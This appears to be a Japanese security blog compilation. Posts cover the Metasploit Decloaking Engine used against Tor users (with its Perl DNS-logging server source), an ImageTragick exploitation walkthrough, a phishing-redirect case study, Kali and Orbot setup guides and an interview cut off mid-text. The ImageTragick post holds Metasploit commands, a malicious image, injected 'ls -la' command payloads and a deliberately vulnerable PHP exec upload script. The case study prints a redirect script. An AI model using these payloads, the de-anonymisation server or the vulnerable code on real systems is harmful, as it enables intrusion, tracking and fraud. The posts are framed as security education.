FBIがTorを破ったネットワーク捜査手法について

tor
FBIは過去にTorを利用して児童ポルノサイトにアクセスするユーザを1000人以上摘発したことが知られています。
その手法はMetasploit FrameworkのDecloaking Engineを利用したものだと言われています。
今回はDecloaking Engineとはなんなのかを調査してみたいと思います。

Decloaking Engineの概要

Decloaking Engineはクライアント側の技術とカスタムサービスの組み合わせを使用してプロキシ設定に関係なくWebユーザの実際のIPアドレスを示すためのシステムです。
このツールは脆弱性を用いた攻撃は行いません。

Decloking Engineの動作原理

  1. Webクライアントがホスト名を解決しようとすると、その設定されたDNSサーバに検索要求を送信します。クライアントのDNSサーバは特定のドメインのネームサーバにクエリを送信します。ホスト名は一位の識別子が含まれている場合、DNSサーバはクライアントのIPアドレスを関連づけることが可能です。しかし被害者がsocks4a, socks5を利用しており、socks proxy越しにdnsリクエストを送信する場合、この手法は通用しません。socks4を利用している場合は通用します。

  2. Javaアプレットは、ソケットAPIを使用してホスト名を解決しようとすると、ホスト名がアプレットを提供するWebサイトと同じでない場合、セキュリティ例外が発生します。しかし、セキュリティ例外がトリガされていても、DNS要求自体は依然として、クライアントのDNSサーバーに送信されます。これは、DNS対応プロキシサーバが使用中の場合、特定のクライアントがあっても例に、ウェブにアクセスして、そこからISPや企業をリークすることができます。

  3. JavaアプレットはUDPパケットを送信すると、パケットは通常、プロキシサービスを経由せずに送信されます。これは、Webクライアントの実際の外部IPアドレスをリークします。このメソッドは、Javaの新しいバージョンでは動作しない可能性があり、パケットの宛先は、アプレットを提供するホストのIPアドレスに制限されています。

  4. Javaが有効になっている場合、Webクライアントのホスト名とIPアドレスは、ソケットAPIにアクセスすることができます。この方法は、ユーザのホスト名とIPアドレスが漏洩します。言い換えれば、これは、システムがNATゲートウェイまたはプロキシサーバの背後にある場合でも、システムの内部IPアドレスが漏洩します。

  5. Flashプラグインがインストールされると、それは、バック元のホストへの直接TCP接続を可能にします。これらの接続は、ユーザーのホストの実際の外部アドレスが漏れ、プロキシサーバをバイパスすることがあります。

  6. Microsoft Officeがインストールされ、自動的に開いているドキュメントに設定されている場合、ファイルは自動的にインターネットから画像をダウンロードする返すことができます。これは、プロキシ設定を省略して、ユーザーの実際のDNSサーバを公開することができます。

カスタムDNSサーバ

動作原理で説明した手法を実行するためにはカスタムされたDNSサーバを用意しなければなりません。カスタムDNSサーバはmetasploit framework teamによりソースコードが公開されています。

#!/usr/bin/perl
###############

use Net::DNS::Nameserver;
use DBD::Pg;

use strict;
use warnings;

# Configure the user ID to run as (must start as root)
my $user = 1015;

# Configure the interfaces and ports
# You need :53 on the wildcard domain and :5353 on the IP running the web site
my $bind = [ ['0.0.0.0', 53], ['0.0.0.0', 5353] ];

# You need :53530 TCP on the IP running the web site
my $tcps = [ ['0.0.0.0', 53530] ];

# Wildcard subdomain we handle DNS for
my $dom  = "red.metasploit.com";

# Configure postgres credentials
my $db_name = "dbname";
my $db_user = "dbuser";
my $db_pass = "dbpass";
my $dbh;

my $opts = {
        AutoCommit => 1,
        RaiseError => 0,
};

# Escape the $dom var to be a valid regex
$dom =~ s/\./\\\./g;

foreach my $c ( @{$bind} ) {
        if (! fork()) {
                Launch($c->[0], $c->[1]);
                exit(0);
        }
}

foreach my $c ( @{$tcps} ) {
        if (! fork()) {
                LaunchTCP($c->[0], $c->[1]);
                exit(0);
        }
}

exit(0);

# This table must already exist
##
# Table "public.requests"
#  Column |         Type          | Modifiers
# --------+-----------------------+-----------
# cid    | character(32)         |
# type   | character varying(16) |
# eip    | character varying(16) |
# iip    | character varying(16) |
# dip    | character varying(16) |
# stamp  | timestamp             |
##

sub reply_handler {
        my ($qname, $qclass, $qtype, $peerhost) = @_;
        my ($rcode, @ans, @auth, @add);

        if ($qname =~ m/^([a-z0-9]{32})\.(\w+)\.(\d+\.\d+\.\d+\.\d+)\.(\d+\.\d+\.\d+\.\d+)\.$dom/) {
                # print "$peerhost > $qname (MATCH)\n";
                my ($cid, $type, $eip, $iip, $dip) = ($1, $2, $3, $4, $peerhost);
                my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
                $sth->execute($cid, $type, $eip, $iip, $dip);
                $sth->finish();
        }else{
                # print "$peerhost > $qname (NO MATCH)\n";
        }

         if ($qtype eq "A")
         {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }
         elsif ($qtype eq "PTR") {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }
         else {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }

         # mark the answer as authoritive (by setting the 'aa' flag
         return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
}

sub Launch {

my $host = shift();
my $port = shift();

$0 .= " ($host:$port)";

$dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;

my $ns = Net::DNS::Nameserver->new(
    LocalPort    => $port,
    LocalAddr    => $host,
    ReplyHandler => \&reply_handler,
    Verbose      => 0,
);


$ = $user;


if ($ns) {
        $ns->main_loop;
} else {
   die "Couldn't create nameserver object\n";
}

}

sub LaunchTCP {

my $host = shift();
my $port = shift();

$0 .= " TCP ($host:$port)";

my $srv =  IO::Socket::INET->new(
        'Proto'     => 'tcp',
        'LocalPort' => $port,
        'LocalAddr' => $host,
        'Listen'    => 5,
        'Reuse'     => 1
);

die unless $srv;

while (my $cli = $srv->accept()) {

        if(! fork()) {
                my $sel = IO::Select->new($cli);
                $cli->autoflush(1);
                if ($sel->can_read(5)) {
                        my $buf = ;
                        if ($buf && $buf =~ m/^([a-z0-9]{32}):(.*)/i) {
                                my $cid = $1;
                                my $eip = $2;
                                chomp($eip);

                                $dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;
                                my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
                                $sth->execute($cid, 'socket', $eip, '0.0.0.0', $cli->peerhost);
                                $sth->finish();
                                print $cli ($cli->peerhost . "\x00");
                        }
                }
                $cli->close();
                exit(0);
        }
}

}

カスタムDNSサーバはPerlのはNet::DNS::Nameserverのスクリプトを使用して要求を処理し、特定のドメインに対するすべての要求を処理します。このDNSサーバーの巧妙な機能はspy.metasploit.comドメイン内の任意のホストを検索すると、独自に設定されたDNSサーバの外部IPアドレスを返すことです。また、このサーバーはフラッシュからJavaやTCP要求からのUDP要求を処理します。

decloaking Engineの現状と未来

Decloaking Engineは2008年に発表されましたが、現時点では削除されているようです。確かに陳腐化する手法ではあると思いますが、FBIが利用していると言うならば、基本となる考え方は実績があり、例えば日々発見されるFlashなどの脆弱性を組み込めば使えるようになるはずです。
しかし未来を見据えるなら、Flashは今後どのブラウザでも廃止されHTML5になるでしょう。JavaAppletやJavaはTorブラウザからは使用すべきではないということはTorを利用している人なら多くの人が理解していますし、デフォルト設定ではそうなっています。

まとめ

FBIの現時点での手法は苦肉の策であり、脆弱性を組み込まない限り成功率も低く、将来的にも使えるものではないようです。DeepWebは必要に駆られたジャーナリストなどに使用されるならば、新たな可能性を秘めていると考えますが、児童ポルノに関わる犯罪をなくすためにも新たな手法が望まれています。

ImageTragickの脆弱性を攻略!~Metasploitを使って侵入してみた!

ImageTragickという脆弱性が2016年5月3日に公表され話題になっています。


[imagetragick.comより]

ちょうど、GW中に話題になった脆弱性です。
サーバ管理者や関連する方は招集がかかったのではないでしょうか。

ImageTragickとは
ImageMagickという画像を加工できるソフトで見つかった脆弱性の名前です。
このソフトは、例えば画像のフォーマット(JPG)を他のフォーマット(PNG)に変換したり、サイズを変更したり、減色したり、画像同士を合成したり、、、などなど、画像を簡単に編集できるソフトです。Windows、Mac、Linuxなど主要なOSをサポートしており人気があるソフトウェアです。

このImageMagickで画像を変換する際の処理が不十分で、それが脆弱性となっています。
この脆弱性にImageTragickという名前が付けられました。
また、専用のサイト(http://imagetragick.com)も開設されてます。

通常、脆弱性に名前がつくことは稀ですが、過去にもShellShockやHearBleedなど名前の付いた脆弱性がありました。インパクトのある脆弱性や被害が甚大なものなど、メディアに取り上げられやすいように名前やロゴをつくったりするケースが多いようです。

本記事ではMetasploit FrameWorkを使ってImageTragick脆弱性を突いてみたいと思います。
Metasploit Frameworkは、Kali Linuxに最初からインストールされています。
Kali Linuxのインストール手順は下記ブログを参照してください。

Kali Linuxをインストールしてみる!

まずImageTragickの脆弱性があるやられサーバを用意しましょう。
ImageTragickの脆弱性はImageTragick version 7.0.1未満に内包されています。

次にmetasploit frameworkで攻撃用のファイルを作成します。
Kali Linuxを立ち上げてMetasploitを起動します。
1

2

立ち上がるまで時間がかかります。
立ち上がったら、攻撃方法を指定します。

use exploit/unix/fileformat/imagemagick_delegate

3

info

この脆弱性に関する情報が確認できます。
ImageMagickのどのバージョンに脆弱性があるのか、などの情報がみれます。
12

 

次に、設定する情報を確認します。

show options

「Required」という箇所がyesになっている項目は必ずセットしないといけません。
この場合、左のCurrent Settingに既に値がセットされているので、このまま進みます。
13

次にどのファイルフォーマットに攻撃を仕込むか、という設定をします。

show targets

と入力してエンターを押します。
Exploit targetにいくつかの選択肢があります。
攻撃方法としてどの画像ファイルをつかうか、という設定です。
14

ここでは、1のMVGファイルを選択してみます。

set target 1

続いて、確認の為、再度、Show Optionsと入力すると、Exploit targetがSVGからMVGに変更されているのが確認できます。
15

次に、利用している端末のIPアドレスをセットします。
一度、自分のIPアドレスを確認するため、ifconfigでIPを確認しています。
IPアドレスを確認したらセットします。

set LHOST [攻撃者(ここではこのPC)のIP]

これで、前準備は完了です、

exploit

と入力してエンターキーをおすと、相手の接続を待ち受けている状態となります。
また、同時に攻撃用の画像ファイルが自動で作られます。

作られる場所は赤枠、/root/.msf4/local/msf.pngです。
この画像ファイルを脆弱性のあるPCにおくり、相手がImageMagickで画像を変換処理すると、相手のPCに進入する事ができます。
5

実際に、/root/.msf4/local/のフォルダをみると、msf.pngというファイルが作成されています。
この画像をターゲットのPCにおくります。6

ここではSCPコマンドでファイルを送ります。
相手のIPは10.0.2.15ですので、
spc [送りたいファイル] ユーザ名@[相手のIP]:[相手の送る場所]
11

相手のサーバ(10.0.2.15)にファイルを送信完了です。

[相手のサーバ画面]
先ほどおくったmsf.pnfを確認できます。
10

つぎに、このファイルをターゲットとなるPCでImageMagickをつかって変換します。
ここでは、msf.pngをhoge.jpgに変換してみます。

convert msf.png hoge.jpg

画面に変化はおきず、ずっと処理中のような形となります。
16

攻撃側のPCに戻ると、接続したとのメッセージが表示されます。
17

これは、相手のサーバに進入している状態です。
whoamiで、侵入したユーザ名、hostnameでホスト名、また、このPCで使われているパスワード閲覧など、色々できます。また、奪った権限によっては致命的な状態に陥ります。
18

確かに恐ろしい攻撃ですが、相手側はこちらが用意した攻撃用の画像ファイルを使わないと攻撃は成立しないため、そうそう起こりえる事でありません。

しかし、このImageMagickはwebアプリケーションでもよく使われています。
入力された画像ファイルをImageMagickをつかい画像サイズを変えたり、画像フォーマットを変更したり、といった加工しているケースです。

次は、webアプリケーション(php)からimagemagickを利用して、攻撃が成功する例をみていきます。
まずは、web側の環境をつくっていきます。

$ sudo apt-get install apache2 php-pear php5-dev php5 pkgconf
$ sudo peardev install pecl/imagick

php.iniファイルに”’extention=imagick.so”’を追記すればimagickライブラリをphpから利用することができます。
攻撃用ファイルを読み込むphpスクリプトを用意してブラウザからアクセスしてみます。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-language" content="ja">
<meta charset="UTF-8" />
</head>
<body>
<?php
//ファイルアップロードサンプルです。
if ( $_POST["submit"] ) { 
 $original_image = $_FILES['filename']['tmp_name'];
 $new_image = $_FILES['filename']['name'];
 //グレイスケールに変換
 exec("convert -type GrayScale $original_image $new_image");
 echo "変換完了<br>";
 echo $original_image.":".$new_image;
 echo "<img src='".$new_image."' wdith='500'>";
}else{
?>
<p>画像をグレイスケールに変換:</p>
<form method="post" action="./upload.php" enctype="multipart/form-data"> 
<input type="file" name="filename" />
<input type="Submit" name="submit" value="変換" />
</form>
<?php
}
?> 
</body>
</html>

19

攻撃ファイルである、msf.pngを選択して変換ボタンをおします。
PHPを側でこのmsf.pngを受け取って、ImageMagickをつかい、グレースケールにしていますが、この処理の瞬間、攻撃が成功します。

相手サーバに侵入して、このPHPソースを表示しました。

当然、ファイルを書き換えたり削除したり、被害は甚大です。

20

このように、WEB側でImageMagickを利用しているサイトで攻撃ファイルを読み込みさせることでサーバを乗っ取ることができてしまいます。

それでは、なぜ脆弱性が起きるのかを見ていきます。

ImageMagickでは、受け渡された画像の種類を判断するために、coderという機能をつかって判断しています。このcoderを使っても判断できなかった場合、次にdelegateという機能をつかって判断します。このとき、このdelegateは外部のプログラムを実行するのですが、delegateはデフォルトの設定ではHTTPSリクエストを行います。
その際の入力チェックが不十分で任意のシェルコマンドを実行できてしまいます。

"wget" -q -O "%o" "https:%M"

この%Mのチェック処理が不十分なため、シェルコマンドが実行できてしまいます。

たとえば、ファイルのリストを表示するls -laというコマンドを変換元の画像に渡したい場合は

convert 'https://example.com";ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

このように、コマンドが実行されてしまいます。

SVGやMVGといった画像フォーマットにもImageMagickは対応しています。
このSVG形式の画像は、外部ファイルを参照することができます。

たとえば、exploit.svgという画像に外部URLを入れた場合は以下のようになります。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg&quot;ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

このexploit.svgをImageMagickで処理した場合、ファイルリストを表示する、ls -laコマンドが実行されます。

convert exploit.svg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

ImageMagickは、ファイルの種類を特定する際に、まず、ファイルの中身をチェックします。
ですので、exploit.svgを名前だけmsf.pngと変更しても中身はSVGファイルなので、拡張子チェックの前に処理されてしまいます。

脆弱性が存在するバージョンなのかチェックする

ImageMagickを利用している場合、そのバージョンがImageTragick脆弱性が存在しているか簡単にチェックをする事ができます。
PoCが公開されていますので、そちらを利用します。
PoCとは検証用のプログラムで、対策が必要か判断できます。
また、PoCは改変すれば攻撃ツールとしてしても利用可能となるので、利用する場合は注意が必要です。

それでは、検証を行っていきましょう。
gitコマンドで、ツールをダウンロードして、PoCsの中にある、test.shを実行します。

git clone https://github.com/ImageTragick/PoCs.git
cd PoCs/
./test.sh

21

しばらく待つと結果が表示されます。
UNSAFEとでるとまだ脆弱性があるバージョンを使ってます。
22

※環境や状況によってPoCで検知されない、というケースもありますので、あくまで参考とし、かならず実際にチェックする必要があります。

すでに、ImageMagickの最新バージョンではこの脆弱性は対応されていますが、最近の事ですので、対応されていないImageMagickを利用しているサイトもまだまだ多いのではないでしょうか。

サーバ管理者や早急にPoCなどを利用してImageMagickのバージョンを確認して最新のバージョンを利用するようにしてください。

最後に本記事はコンピュータセキュリティを学びたい人のために作成したものです。悪用はしないでください。

Kali Linuxをインストールしてみる!

Kali Linux セットアップ手順

はじめに。
Kali Linuxは、BackTrack Linuxの後継にあたるペネトレーション用のOSになります。
擬似的にハッキングを仕掛けてシステムの耐久力をテストするための様々ツール、ソフトが初めから入っています。
BackTrackに関しては以前紹介したこちらの記事を参照>>

KaliLinuxはソフトではなく、WindowsやMacと同じようなOSとなりますので、通常はパソコンを用意してその中に入れていくのですが、実際に専用のパソコンを準備するのは大変なので、バーチャル(仮想)として、現在利用しているWindowsの中に別のOSをインストールして利用する事が出来ます。
使いたい時だけ、仮想OSを起動して利用する事になります。
このようなことを実現するためのソフトが、VirtualBoxというソフトになります。

VirtualBoxにKali Linuxをセットアップして利用するための手順を紹介します。

まずは、VirtualBoxのセットアップを済ませておいて下さい。
VirtualBoxのダウンロードはこちらから>>

次に、Kali Linuxをダウンロードしておきます。
Kali Linuxのダウンロードはこちらから>>
VirtualBox用のImageをダウンロードしますが、約3GBあるので、時間がかかります。

Kali Linux Custom Images Download - Offensive Security

ファイルをダウンロードし解凍して、Kali-Linux-2016.1-vbox-amd64.ovaをVirtualBoxで読み込みます。

VirtualBox起動して、左上「ファイル」から「仮想アプライアンスのインポート」をクリックします。
36

ダウンロードして解凍した、Kali-Linux-2016.1-vbox-amd64.ovaを開き、次へをクリックします。
37

「インポート」をクリックします。
38

インポートが完了すると、VirtualBox、左側にKaliが表示されますので、選択して「起動」を」クリックします。    8

しばらくすると起動しますので、
ユーザ名、root
パスワードに、toor
と入力してログインします。29

パスワードには、toorと入力
30

最初は英語なので、日本語に変えておきます。
右上、電源のアイコンをクリックして、左下の設定ボタンをクリックします。
39

「 地域と言語」のアイコンをクリックします。
40

日本語を選択します。
41

一度、再起動します。
43

42

再び、ユーザ名、root、パスワード、toorでログインします。
VirtualBox上のKaliLinuxと利用しているWindows双方で、コピー・ペーストが出来るようにしていきます。
VirtualBoxの「デバイス」から、「Guest AdditonsのCDイメージを挿入」をクリックします。

32

自動実行するか聞いてきますので、「キャンセル」します。
33

左端にある、ターミナルをクリックします。34

CDの中にある、VBoxLinuxAdditions.runというファイルを、手元にコピーします。
起動したターミナルに以下のように入力してエンターキーをおします。
cp /media/cdrom/VBoxLinuxAdditons.run /root/
コピーコマンドです。

[code title=”Copyコマンド”]
cp [コピーするファイル] [コピー先]
[/code]

次に、コピーしたファイルを実行します。
以下のように打ちエンターキーを押します。

[code]
./VBoxLinuxAdditions.run
[/code]

45

yesかnoか入力を聞いてきますので、yesと入力してエンターキーをおします。
46

以下の様な画面になったら完了です。
47

これで、Windowsからの文字をコピーして、Kaliに貼付けしたり、ファイルを直接ドラッグしたり出来るようになります。

このままでは、日本語が入力出来ませんので、次に日本語入力できるようにしておきましょう。
ターミナルに以下のように入力してエンターキーをおします。

[code]
apt-get install yim yum-anthy
[/code]

続行するか聞いてくるので、Yを入力してエンターキーをおします。

51

処理完了したら、一度再起動します。

アップデートもしておきましょう。

[code]
apt-get update
[/code]

50

Tiger育夫3ラウンドKO勝利!Whitehackerzスポンサーのキックボクサー応援4649!

今大会から微力ながらスポンサーさせて頂いているTiger育夫こと柳井育夫氏。7/19の試合では3ラウンドKO勝利!と絶好調です!もう次の試合が気になってしかたありません。これからも応援し続けて行きます!

IMG_2740 (2)

IMG_2714 (2)

IMG_2713 (2)

早く博多で祝勝会しましょう!!!!待っています!IMG_2012 (2)

また柳井氏は大阪府松原市にて若獅子会館松原支部の代表でもありそのコンセプトにもゆるぎない信念を感じさせる男です!

IMG_2745 (2)

IMG_2746 (2)

熱い熱い男ですので皆様も応援宜しくお願い致します!

Tiger育夫ブログ⇔http://ameblo.jp/ikuo0820/

 

ハッキング対策実例①~ショッピングサイト運営者様の場合~

日頃から、多くのお問い合わせをいただいております。
今日はその中から、実際の相談内容を紹介させていただきます。

4月下旬、1本の問い合わせメールを頂きました。

その内容は、

当社のショッピングサイトが何者かに不正にクローキングされているので、非常に迷惑している。Googleにも問い合わせしたが、対応してもらえず、会社の存続の危機であり、色々な方に相談したが、対応策が見当たりません。
どうか、話しだけでも聞いてほしい、

との内容でした。

早速、状況確認するため、メールの送り先であるショッピングサイトのオーナーに電話し、話を聞くことにしました。

相談内容は、ある特定のキーワード(実際には、このショッピングサイト名)で、検索すると、上位に、見に覚え内のないサイトが表示される、という内容でした。

実際に、検索して確認してみます。
(仮にキーワードをHOGEとします。)

Googleで、HOGEと入力して検索すると、全く同じタイトル、内容の検索結果が上位に2件表示されていました。

1番目に表示されているサイトにアクセスすると、ショッピングサイトが表示されます。
しかし、このショッピングサイトは、お問い合わせいただいたオーナー様も見に覚えのない、誰かが作成した偽物のショッピングサイトのようでした。
内容はオリジナルを丸コピーしたものでなく、全く別物のショッピングサイトでした。

2番めに表示されているのは、問い合わせされた方の正規のショッピングサイトです。

search

1番目に表示されている検索結果のURLは、www.dummy.comとなっていますが、アクセスして表示される偽のショッピングサイトのURLは、www.fake.jpとなっていました。

ですので、dummy.comから、fake.jpに自動でジャンプされていました。

検索からではなく、アドレスバーに直接、dummy.comとURLを入力してアクセスすると、自動ジャンプされず、dummy.comのコンテンツが表示されます。
ショッピングサイトではなく、海外の情報を発信するサイトが表示されました。

dummy.comがハッキングされ、細工された可能性があります。

アドレスバーに直接dummy.comを入力してソースを表示してみると、下記スクリプトがはいっていました。
<script>var s=document.referrer;if(s.indexOf(“google”)>0 || s.indexOf(“bing”)>0 || s.indexOf(“yahoo”)>0){self.location=’http://www.fake.jp/’;}</script>

このコードは、google、bing、yahooの検索サイトを経由してアクセスした場合は、fake.jpにジャンプさせ、アクセスさせる、という内容です。
ですので、検索からではなく、直接URLを入力するとこのコードは実行されず、dummy.comが表示された事になります。

このdummy.comのコンテンツは、海外のサイトであり、ショッピングサイトでありません。
当然、正規ページの内容や文章、HOGEといったキーワードなどまったく入っていない(そもそも国、言語が違う)、関係ないサイトが、なぜHOGEというキーワードで上位表示されているのでしょうか?

そこで、色々調査する中で以下の内容が判明しました。

Googleは、検索に表示させるサイトを収集するため、定期的に自動巡回プログラムを使ってサイト情報を収集しています。このプログラムをGoogleボットといいます。

通常、人がアクセスするのと変わらないのですが、このGoogleボットにはある特徴があります。それは、自分はGoogleボットです、という情報をもっている事です。

Googleボットにかぎらず、インターネットにアクセスした際、かならず、自分(利用しているブラウザの情報)が相手サーバーに送られます。

これを、User-Agent(ユーザーエージェント)といい、この情報にはアクセスしているブラウザの種類、バージョンなどのがはいっています。

Googleボットの場合、このUser Agentに、自分はGoogleボットです、という情報がはいっています。
アクセスするサーバー側で、このUser Agentが取得できますので、
見せるページを切り替える事ができます。

この切替手法はよく使われており、
たとえば、PCとスマホでは、画面のサイズが異なるので、UserAgentを取得して各端末毎にデザインされたページに切り替えさせて表示させる方法です。

このUser Agentは簡単に偽装できます。
Chromeだと、User-Agent Switcher for Chromeという拡張機能を使うと簡単に実現できます。

では、このUserAngetを偽装して、Googleボットがアクセスしたようにみせ、ハッキングされたサイト、dummy.comにアクセスしてみます。

すると、正規のショッピングサイトのページが表示されました。

また、Googleボットでアクセスした場合、URLが変わっていなかったので正規のショッピングサイトに移動されておらず、dummy.comのままで、正規のサイトが表示されていました。

つまり、YahooやGoogleから検索した場合は、dummy.comを経由して偽のショッピングサイトに誘導し、Googleボットには、正規のショッピングサイトに誘導していました。

また、Googleボットでアクセスした場合、さらに別サーバーに移動している事が分かりました。

まとめると、流れとしては、

①通常のアクセス   —> www.dummy.com —> JavaScriptでリダイレク —-> fake.jp

②Googleボット —> www.dummy.com —> 別の国のサーバ —-> official-site.jp

また、Googleボットでアクセスした際に表示される正規ページの中身は、ミラーリングされており、リアルタイムに情報を取得していました。
正規ページで商品追加などの更新を行うと、dummy.comの表示も即座に反映していました。

fake.jpは、フィッシングサイトであり、個人情報やクレジットカード情報を収集しているサイトと判明しました。
当然、購入しても商品は届きません。
しかし、問い合わせ先が正規サイトの情報が明記されていましたので、見に覚えのない問い合わせが入り、クレームが多発している状況でした。

このdummy.comは、海外の情報発信サイトであり、ページランクも高く、Googleの検索評価も高いと予想され、結果、正規ページより上位(結果1位)に表示されたと考えます。

このオーナー様が色々な方に助言され、対策を行ったが、解決せず当社に問い合わせされた、という経緯になります。

どのような助言をされたのか、聞いたところ、直接解決とは程遠い内容でした。
たとえば、ある業者からSSLを取得する事で、改善されますよ、と言われたそうで、実際に費用を支払、SSLを導入し、対策されておりました。
SSLを取得するという事は、サイト移転と同等です。httpよりhttpsの方が検索結果として優位だとは思いますが、決定的な順位決定事項でなく、まして今回の件が改善されるはずがありません。
逆に一時的に、順位が更に落ちる可能性もあります。
また、うまくいったとしても、1位と2位が入れ替わるだけで、なんら解決策ではありません。

オーナー様は現在の状況をすぐにでも解決したい、との事なのでSEO対策を行い、順位を上げる方法を行っても根本的な解決方法にはなりません。

また、Googleに問い合わせしてもいつになるのか、分からないといった状況です。

このハッキングされているサイトが日本国内で運営、稼働している場合は、サイト管理者にメールや場合よっては直接電話する、弁護士に相談など、色々手法はあるのですが、今回の場合は海外(英語圏ではない)です。

弊社に依頼する前にもこのサイト管理者に対して何度か問い合わせを試みたようですが、対応されていない現状でした。

そこで弊社の技術的チームがあらゆる対応策を洗い出し、対応を行いました。

結果、ご依頼をいただいてから2日でオーナー様が望む結果をだしました。

ご依頼されたオーナー様からは、多大な感謝を頂きました。

 

TorのAndroid版!

Orbot」は、P2P方式の匿名プロキシツールとして知られる「Tor」のAndroid版だ。ブラウザからサーバの間に複数のTorノードを経由させてアクセスを行なうことで、通信先サーバや通信内容を暗号化できる。

Torを利用すれば、特定のサーバとの通信がブロックされているネットワークに接続していても、ブロックされているサーバにアクセス可能だ。また、Torの通信は暗号化されているので、ネットワーク管理者による盗聴も回避できる。

ただし、最後に経由するTorノードからは、アクセス先サーバとの通信内容が丸見えなので、盗聴される恐れがある。Tor経由でブラウジングを行なっているときは、重要なサイトのパスワード入力などは行なわないほうがいいだろう。
orbot_001Orbotを最初に起動すると、このような確認画面が表示される。「root」権限の取得が可能な端末では、すべてのアプリの通信をTor経由で行なう機能が利用できるが、不要な場合は下のチェックボックスをONにして「Next」を押そう。
orbot_002次の画面では、そのまま「Next」を押せばいい。
orbot_003このようなメイン画面が表示されたら、ボタンを長押ししよう。
orbot_004接続処理の進捗状況が表示され、しばらくすると接続が完了し、ボタンが緑色になる。戻るボタンでOrbotを閉じても、Torネットワークへの接続は維持されるぞ。
orbot_005Firefoxのアドオン画面で「proxy」などを検索し、「Proxy Mobile」をインストールしよう。
orbot_006Proxy Mobieの設定で「SOCKS Proxy Host」に「127.0.0.1」、「SOCKS Proxy Port」に「9050」を入力し、「SOCKS Remote DNS」を「はい」にした状態で、「Use Proxy」を「はい」にしよう。
orbot_007正しくTor経由でアクセスできているか確認するには、アクセス元の情報を表示する「診断くん」のページにアクセスしてみるといい。「REMOTE_HOST」の欄が見覚えのないホスト名になっていれば成功だ。

楽天電子ブックkobo 30台プレゼント!!!

ハッキングチャレンジサイト「8946」をいつもご利用頂きありがとうございます。
本日、2012年9月15日AM10:00からキャンペーンを開始しました。

アカウントをすでにお持ちの方は、キャンペーンページより、エントリーを行ってください。
アカウントをお持ちでない方は、こちらからアカウントを作成後、エントリーを行ってください。

キャンペーン期間中に多くの問題を解いた方が、賞品獲得に有利となります。
(抽選方法の詳しい情報は、下記動画をご覧ください)

そこで、現在自分がどの問題を解いているのか、
また、他の方がどれくらい問題を解いているのが、わかるように
「順位が分かるページ」を用意しました。

8946ページ最下部のメニュー「☆順位」から、アクセスできます。

※キャンペーンエントリーには、メールアドレスが必要です。
(当選した場合、登録されたメールアドレスに通知いたします)

そこで、メールアドレスの確認・変更ができるページ「mypage」も用意しましたので、ご活用ください。各問題の右下よりアクセスできます。


抽選方法は、以下の動画をご確認ください。

豪華賞品をご用意しておりますので、どしどし、ご応募ください。
たくさんのご応募お待ちしております。

キャンペーンページ
http://www.hackerschool.jp/hack/campaign.php
 

キャンペーン期間:2012/9/15AM10:00から2012/10/15PM23:59

抽選発表会:2012/10/20(土)12:00よりライブ配信(ニコニコ生放送)予定

※一部賞品は変更になる場合があります。
※抽選発表会に関して日程等変更になる場合があります。

アノニマス独占インタビュー第四弾!AnonOps Japan創始者TYSX1997氏

アノニマスAnonymous・・・

メンバーインタビューも今号で第四弾となりました。これも一重にご多忙のなか取材に応じて下さったアノニマスの方々のご協力のものと感謝いたしております。

では早速参りましょう。今回は『元Anonymous』とおっしゃる TYS X 1997氏にお話を伺いました。ここでTYS X 1997氏について少し補足を。TYS X 1997氏のTwitterアカウントは @Tysx1997です。のぞいてみると≪AnonOps Japanの創始者TYSX1997のアカウントです。 It is account of founder TYSX1997 of AnonOps Japan.≫ とあります。また貼り付けてあるURL(  http://anonopsjapan.blogspot.com/)はAnonOps Japan and Dark Surveillance Securityとあり、説明文に、

≪Hello Internet . We Are AnonOps Japan & Dark Surveillance Security. We Are Hacker or Cracker ???I Don’t Know. This Web Site is Offical AnonOps Japan & Dark Surveillance Security HP.≫

とあります。また、

≪2012年に活動を開始され現在に至るブラックウォーターのUGネットワ??ークから追放されたTYS X 1997が創始者とされる現在は(このサイトの管理人)白龍が管理している≫

創始者!?私DDmも何やら凄い方に接触してしまった様ですね・・・それでは本文に移りたいと思いますが、文章等内容は一切いじくっておりません。我々と一緒にアノニマスへの理解を深め(賛否両論はあると思いますが)ご自身で判断する材料にして頂ければと思います。尚、この記事はあくまでもTYS X 1997氏個人としての見解であり TYS X 1997氏が所属する組織の総意でないことを明記させて頂きます。 以下取材内容原文です。

##################################################################

まずはご挨拶をTYS X 1997 と言います。ちなみに国籍は2つあります学生です。

アノニマスになった?入った?経緯

恋人がいました。福島県在住.その恋人は精神病でかなり苦しんでいたんですよ助けるために何とかしたいと思いました。そこでたまたまアノニマスの記事を見つけたんですよ記事を読んで僕もなれるのではと思い加盟しました。(脱原発のためになったといえるでしょう)

海外のアノニマスと国内のアノニマスの違い

海外アノニマスは過激なユーザーが沢山いて抗議するためにはデモよりDDosをやってしまうような人たちです。日本のアノニマスは合法的なやり方で抗議をしています。一時期あるユーザーが過激でしたけどねwww

海外のアノニマスとの関係の有無

